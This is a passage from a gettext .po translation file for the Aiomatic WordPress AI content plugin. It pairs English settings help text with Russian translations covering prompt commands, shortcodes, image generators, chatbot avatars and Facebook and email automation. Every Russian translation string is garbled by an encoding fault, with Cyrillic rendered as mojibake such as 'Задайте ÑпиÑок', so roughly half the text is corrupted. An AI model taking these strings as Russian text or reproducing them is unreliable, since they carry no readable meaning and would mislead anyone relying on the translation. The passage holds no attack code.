You can also add here a link to a .txt file, where you " #| "can add multiple prompts (one per line) and the plugin will select a " #| "random one at each run. You will also be able to use the custom " #| "shortcodes defined in the 'Custom Shortcode Creator' feature from the " #| "rule settings - this will allow you to create partially or fully AI " #| "generated prompts which will be used for the content generators." msgid "" "Set list of prompt commands (one on each line) you want to send to AI title " "text generator. This command can be any given task or order, based on which, " "it will generate content for posts. You can use the following shortcodes " "here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You can also add here a " "link to a .txt file, where you can add multiple prompts (one per line) and " "the plugin will select a random one at each run. You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите " "отправить генератору текÑта заголовков AI. Это может быть любое задание или " "приказ, на оÑновании которого он будет генерировать контент Ð´Ð»Ñ Ð¿Ð¾Ñтов. " "ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий " "ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете " "RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина " "Ñтой команды не должна превышать макÑимальное количеÑтво токенов, " "уÑтановленное в наÑтройках команды промпта - Обновление: также " "поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других " "плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который " "можно добавить неÑколько промптов (по однму на Ñтроку), и плагин будет " "выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать " "пользовательÑкие шорткоды, определенные в функции 'Создатель " "ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать " "чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ " "Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:3924 #, php-format #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to OpenAI." #| " This command can be any given task or order, based on which, it will " #| "generate content for posts. You can use the following shortcodes here: " #| "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " #| "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT " #| "file, containing keywords (one per line), or to an RSS feed. If you use " #| "RSS feeds, you can also use the following additional shortcodes: " #| "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " #| "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The " #| "length of this command should not be greater than the max token count set " #| "in the settings for the prompt command - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You can " #| "also add here a link to a .txt file, where you can add multiple prompts " #| "(one per line) and the plugin will select a random one at each run." msgid "" "Set list of prompt commands (one on each line) you want to send to AI. This " "command can be any given task or order, based on which, it will generate " "content for posts. You can use the following shortcodes here: %%post_title%%," " %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. You can also add a link to a TXT file, containing keywords " "(one per line), or to an RSS feed. If you use RSS feeds, you can also use " "the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You can also add here a " "link to a .txt file, where you can add multiple prompts (one per line) and " "the plugin will select a random one at each run." msgstr "" "Задайте ÑпиÑок команд промпт (по одной в каждой Ñтроке), которые вы хотите " "отправить иÑкуÑÑтвенному интеллекту. Это может быть любое задание или приказ," " на оÑновании которого он будет генерировать контент Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы " "можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также " "можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на " "Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете " "иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не " "должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках " "команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды " "(шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить " "Ñюда ÑÑылку на .txt файл, в который вы можете добавить неÑколько промптов " "(по однму на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке." #: res/aiomatic-rules-list.php:1162 res/aiomatic-single-list.php:2601 #, php-format #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to OpenAI." #| " This command can be any given task or order, based on which, it will " #| "generate content for posts. You can use the following shortcodes here: " #| "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " #| "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT " #| "file, containing keywords (one per line), or to an RSS feed. If you use " #| "RSS feeds, you can also use the following additional shortcodes: " #| "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " #| "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The " #| "length of this command should not be greater than the max token count set " #| "in the settings for the prompt command - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You can " #| "also add here a link to a .txt file, where you can add multiple prompts " #| "(one per line) and the plugin will select a random one at each run. You " #| "will also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Set list of prompt commands (one on each line) you want to send to " "OpenAI/AiomaticAPI. This command can be any given task or order, based on " "which, it will generate content for posts. You can use the following " "shortcodes here: %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also " "add a link to a TXT file, containing keywords (one per line), or to an RSS " "feed. If you use RSS feeds, you can also use the following additional " "shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The " "length of this command should not be greater than the max token count set in " "the settings for the prompt command - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You can also " "add here a link to a .txt file, where you can add multiple prompts (one per " "line) and the plugin will select a random one at each run. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators." msgstr "" "Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите " "отправить OpenAI/AiomaticAPI. Это может быть любое задание или приказ, на " "оÑновании которого OpenAI будет генерировать контент Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы " "можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также " "можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на " "Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете " "иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не " "должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках " "команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды " "(шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить " "Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по " "однму на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:4242 res/aiomatic-review-list.php:4395 #: res/aiomatic-youtube-list.php:4153 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to the AI " "image generator. This command can be any given task or order, based on which," " it will generate images. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "The length of this command should not be greater than 1000 characters, " "otherwise the plugin will strip it to 1000 characters length. - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You can also add here a link to a .txt file, where you can add " "multiple prompts (one per line) and the plugin will select a random one at " "each run. If you use Royalty Free Images as a source, you can also set their " "keywords here, if no keywords set, they will be automatically generated. You " "will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "УÑтановите ÑпиÑок Промпт Команд (по одной в каждой Ñтроке), которые вы " "хотите отправить генератору изображений AI. Эта команда может быть любой " "заданной задачей или заказом, на оÑнове которого она будет генерировать " "изображениÑ. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%," " %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Длина Ñтой " "команды не должна превышать 1000 Ñимволов, иначе плагин урежет ее до 1000 " "Ñимволов. - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, " "Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку " "на файл .txt, где вы можете добавить неÑколько Промптов (по одному на Ñтроку)" ", и плагин будет выбирать Ñлучайный при каждом запуÑке. ЕÑли вы иÑпользуете " "Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Royalty Free в качеÑтве иÑточника, вы также можете уÑтановить их " "ключевые Ñлова здеÑÑŒ, еÑли ключевые Ñлова не заданы, они будут Ñгенерированы " "автоматичеÑки. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, " "определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках " "правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые " "иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ " "генераторов контента." #: res/aiomatic-amazon-list.php:1674 res/aiomatic-review-list.php:1743 #: res/aiomatic-single-list.php:4342 res/aiomatic-single-list.php:5656 #: res/aiomatic-single-list.php:7022 res/aiomatic-youtube-list.php:1630 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to the AI " "image generator. This command can be any given task or order, based on which," " it will generate images. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "The length of this command should not be greater than 1000 characters, " "otherwise the plugin will strip it to 1000 characters length. - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You can also add here a link to a .txt file, where you can add " "multiple prompts (one per line) and the plugin will select a random one at " "each run. You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "УÑтановите ÑпиÑок Промпт Команд (по одной в каждой Ñтроке), которые вы " "хотите отправить генератору изображений AI. Эта команда может быть любой " "заданной задачей или заказом, на оÑнове которого она будет генерировать " "изображениÑ. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%," " %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Длина Ñтой " "команды не должна превышать 1000 Ñимволов, иначе плагин урежет ее до 1000 " "Ñимволов. - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, " "Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку " "на файл .txt, где вы можете добавить неÑколько Промптов (по одному на Ñтроку)" ", и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете " "иÑпользовать пользовательÑкие шорткоды, определенные в функции «Создание " "пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать " "чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. " #: res/aiomatic-rules-list.php:4631 #, php-format #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to the AI " #| "image generator. This command can be any given task or order, based on " #| "which, it will generate images. You can use the following shortcodes here:" #| " %%post_title%%, %%random_sentence%%, %%post_original_title%%, " #| "%%random_sentence2%%, %%blog_title%%. The length of this command should " #| "not be greater than 1000 characters, otherwise the plugin will strip it " #| "to 1000 characters length. - Update: nested shortcodes also supported " #| "(shortcodes generated by rules from other plugins). You can also add here " #| "a link to a .txt file, where you can add multiple prompts (one per line) " #| "and the plugin will select a random one at each run. If you use Royalty " #| "Free Images as a source, you can also set their keywords here, if no " #| "keywords set, they will be automatically generated. You will also be able " #| "to use the custom shortcodes defined in the 'Custom Shortcode Creator' " #| "feature from the rule settings - this will allow you to create partially " #| "or fully AI generated prompts which will be used for the content " #| "generators." msgid "" "Set list of prompt commands (one on each line) you want to send to the AI " "image generator. This command can be any given task or order, based on which," " it will generate images. You can use the following shortcodes here: " "%%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. The length of this command should not " "be greater than 1000 characters, otherwise the plugin will strip it to 1000 " "characters length. - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You can also add here a link to a ." "txt file, where you can add multiple prompts (one per line) and the plugin " "will select a random one at each run. If you use Royalty Free Images as a " "source, you can also set their keywords here, if no keywords set, they will " "be automatically generated. You will also be able to use the custom " "shortcodes defined in the 'Custom Shortcode Creator' feature from the rule " "settings - this will allow you to create partially or fully AI generated " "prompts which will be used for the content generators." msgstr "" "Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите " "отправить генератору изображений AI. Этими командами могут быть любые " "Ð·Ð°Ð´Ð°Ð½Ð¸Ñ Ð¸Ð»Ð¸ приказы, на оÑновании которых он будет генерировать изображениÑ. " "ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%topic%%, %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. Длина Ñтой команды не должна превышать 1000 Ñимволов, иначе " "плагин Ñократит ее до 1000 Ñимволов. - Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñгенерированные по правилам из других плагинов)" ". Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно " "добавить неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать " "Ñлучайный при каждом запуÑке. ЕÑли вы иÑпользуете в качеÑтве иÑточника " "Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Royalty Free Images, вы также можете задать их ключевые Ñлова " "здеÑÑŒ, еÑли ключевые Ñлова не заданы, они будут Ñгенерированы автоматичеÑки. " "Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в " "функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто " "позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:1872 res/aiomatic-single-list.php:2339 #: res/aiomatic-single-list.php:3089 #, php-format #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to the AI " #| "image generator. This command can be any given task or order, based on " #| "which, it will generate images. You can use the following shortcodes here:" #| " %%post_title%%, %%random_sentence%%, %%post_original_title%%, " #| "%%random_sentence2%%, %%blog_title%%. The length of this command should " #| "not be greater than 1000 characters, otherwise the plugin will strip it " #| "to 1000 characters length. - Update: nested shortcodes also supported " #| "(shortcodes generated by rules from other plugins). You can also add here " #| "a link to a .txt file, where you can add multiple prompts (one per line) " #| "and the plugin will select a random one at each run. You will also be " #| "able to use the custom shortcodes defined in the 'Custom Shortcode " #| "Creator' feature from the rule settings - this will allow you to create " #| "partially or fully AI generated prompts which will be used for the " #| "content generators. You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Set list of prompt commands (one on each line) you want to send to the AI " "image generator. This command can be any given task or order, based on which," " it will generate images. You can use the following shortcodes here: " "%%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. The length of this command should not " "be greater than 1000 characters, otherwise the plugin will strip it to 1000 " "characters length. - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You can also add here a link to a ." "txt file, where you can add multiple prompts (one per line) and the plugin " "will select a random one at each run. You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите " "отправить генератору изображений AI. Этими командами могут быть любые " "Ð·Ð°Ð´Ð°Ð½Ð¸Ñ Ð¸Ð»Ð¸ приказы, на оÑновании которых он будет генерировать изображениÑ. " "ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%topic%%, %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. Длина Ñтой команды не должна превышать 1000 Ñимволов, иначе " "плагин Ñократит ее до 1000 Ñимволов. - Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñгенерированные по правилам из других плагинов)" ". Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно " "добавить неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать " "Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие " "шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из " "наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-" "генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. " #: aiomatic-ajax-actions.php:8147 res/aiomatic-shortcodes.php:353 msgid "Set the AI frequency penalty parameter of this form." msgstr "УÑтановите параметр штрафа за чаÑтоту AI Ð´Ð»Ñ Ñтой формы." #: aiomatic-ajax-actions.php:8127 res/aiomatic-shortcodes.php:317 msgid "Set the AI maximum token count of this form." msgstr "УÑтановите макÑимальное количеÑтво токенов AI Ð´Ð»Ñ Ñтой формы." #: res/aiomatic-assistants.php:387 res/aiomatic-assistants.php:542 msgid "Set the AI model of this assistant." msgstr "УÑтановите AI-модель Ñтого аÑÑиÑтента." #: aiomatic-automation.php:115 aiomatic-automation.php:145 msgid "Set the AI model to be used for the image generator." msgstr "" "УÑтановите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° " "изображений." #: aiomatic-ajax-actions.php:8142 res/aiomatic-shortcodes.php:344 msgid "Set the AI presence penalty parameter of this form." msgstr "УÑтановите параметр штрафа за приÑутÑтвие AI Ð´Ð»Ñ Ñтой формы." #: aiomatic-automation.php:20 aiomatic-automation.php:57 #: aiomatic-automation.php:282 aiomatic-automation.php:352 msgid "Set the AI prompt which will be sent to the content writer" msgstr "УÑтановите промпт AI, который будет отправлен ​​автору контента." #: aiomatic-automation.php:283 aiomatic-automation.php:353 #, php-format msgid "" "Set the AI prompt which will be sent to the content writer, to process each " "result. Additional shortcodes you can use: %%current_item%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported. If you don't add the %%current_item%% to the prompt, it will be " "automatically appended to the end of it." msgstr "" "Задайте промпт AI, который будет отправлен автору контента Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ " "каждого результата. Дополнительные шорткоды, которые вы можете иÑпользовать: " "%%current_item%% + шорткоды Spintax, Synergy, [aicontent] и поддерживаемые " "шорткоды WordPress. ЕÑли вы не добавите %%current_item%% в промпт, он будет " "автоматичеÑки добавлен в его конец." #: aiomatic-automation.php:21 #, php-format msgid "" "Set the AI prompt which will be sent to the content writer. Additional " "shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported." msgstr "" "УÑтановите промпт AI, который будет отправлен автору контента. " "Дополнительные шорткоды, которые вы можете иÑпользовать: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:58 #, php-format msgid "" "Set the AI prompt which will be sent to the content writer. Additional " "shortcodes you can use: %%current_input_line%%, " "%%current_input_line_counter%%, %%all_input_lines%%, %%current_date_time%%, " "%%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% " "+ Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress " "shortcodes supported." msgstr "" "УÑтановите промпт AI, который будет отправлен автору контента. " "Дополнительные шорткоды, которые вы можете иÑпользовать: " "%%current_input_line%%, %%current_input_line_counter%%, %%all_input_lines%%, " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:108 aiomatic-automation.php:138 msgid "Set the AI prompt which will be sent to the image generator" msgstr "" "УÑтановите промпт AI, который будет отправлен ​​в генератор изображений." #: aiomatic-automation.php:109 aiomatic-automation.php:139 #, php-format msgid "" "Set the AI prompt which will be sent to the image generator. Additional " "shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported." msgstr "" "Задайте промпт AI, который будет отправлен генератору изображений. " "Дополнительные шорткоды, которые вы можете иÑпользовать: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-ajax-actions.php:8132 res/aiomatic-shortcodes.php:326 msgid "Set the AI temperature of this form." msgstr "УÑтановите температуру AI Ñтой формы." #: aiomatic-ajax-actions.php:8137 res/aiomatic-shortcodes.php:335 msgid "Set the AI top_p parameter of this form." msgstr "УÑтановите параметр AI top_p Ñтой формы." #: res/admin/ai-post-gutenberg.php:83 res/admin/ai-post.php:77 msgid "Set the assistant ID to be used for the AI content creation." msgstr "" "УÑтановите идентификатор аÑÑиÑтента, который будет иÑпользоватьÑÑ Ð´Ð»Ñ " "ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° AI." #: res/aiomatic-chatbot.php:756 res/aiomatic-chatbot.php:1166 msgid "" "Set the avatar image of the AI. This will be shown in the chatbot interface." msgstr "" "УÑтановите изображение аватара AI. Это будет показано в интерфейÑе чат-бота." #: res/aiomatic-assistants.php:498 res/aiomatic-assistants.php:653 msgid "Set the avatar of the chatbot assistant." msgstr "УÑтановите аватар аÑÑиÑтента чат-бота." #: res/aiomatic-chatbot.php:5554 msgid "Set the avatar of the chatbot persona." msgstr "УÑтановите аватар перÑонажа чат-бота." #: res/aiomatic-main.php:5898 msgid "Set the banned words list that will apply to all plugin rules." msgstr "" "УÑтановите ÑпиÑок запрещенных Ñлов, который будет применÑÑ‚ÑŒÑÑ ÐºÐ¾ вÑем " "правилам Плагина." #: aiomatic-automation.php:786 msgid "Set the caption of the Facebook image" msgstr "УÑтановите подпиÑÑŒ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Facebook" #: aiomatic-automation.php:787 #, php-format msgid "" "Set the caption of the Facebook image. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите подпиÑÑŒ к изображению в Facebook. Дополнительные шорткоды, " "которые вы можете иÑпользовать:%%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automatic-ai-content-writer.php:12702 #: res/aiomatic-automation-list.php:173 msgid "" "Set the category of the OmniBlock template to save. You can add multiple " "categories, separated by ;" msgstr "" "УÑтановите категорию шаблона OmniBlock Ð´Ð»Ñ ÑохранениÑ. Ð’Ñ‹ можете добавить " "неÑколько категорий, разделенных ;" #: res/aiomatic-chatbot.php:2254 msgid "" "Set the compliance text which will be shown at the bottom of the chatbot " "(default is empty)" msgstr "" "УÑтановите текÑÑ‚ ÑоответÑтвиÑ, который будет отображатьÑÑ Ð²Ð½Ð¸Ð·Ñƒ чат-бота (по " "умолчанию пуÑто)." #: res/aiomatic-chatbot.php:1254 msgid "" "Set the compliance text which will be shown at the bottom of the chatbot " "(default is empty)." msgstr "" "УÑтановите текÑÑ‚ ÑоответÑтвиÑ, который будет отображатьÑÑ Ð²Ð½Ð¸Ð·Ñƒ чат-бота (по " "умолчанию пуÑто)." #: aiomatic-automation.php:687 msgid "Set the content of the email to be sent" msgstr "УÑтановите Ñодержание Ñлектронного пиÑьма Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸" #: aiomatic-automation.php:688 #, php-format msgid "" "Set the content of the email to be sent. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте Ñодержание пиÑьма, которое будет отправлено. Дополнительные шорткоды," " которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:1108 msgid "Set the content of the post to be created" msgstr "УÑтановите Ñодержание Ñоздаваемого ÑообщениÑ" #: aiomatic-automation.php:1109 #, php-format msgid "" "Set the content of the post to be created. Additional shortcodes you can use:" " %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте контент Ñоздаваемого поÑта. Дополнительные шорткоды, которые вы " "можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:1181 msgid "" "Set the custom fields that will be set for generated posts. The syntax for " "this field is the following: custom_field_name1 => custom_field_value1, " "custom_field_name2 => custom_field_value2" msgstr "" "УÑтановите пользовательÑкие полÑ, которые будут уÑтановлены 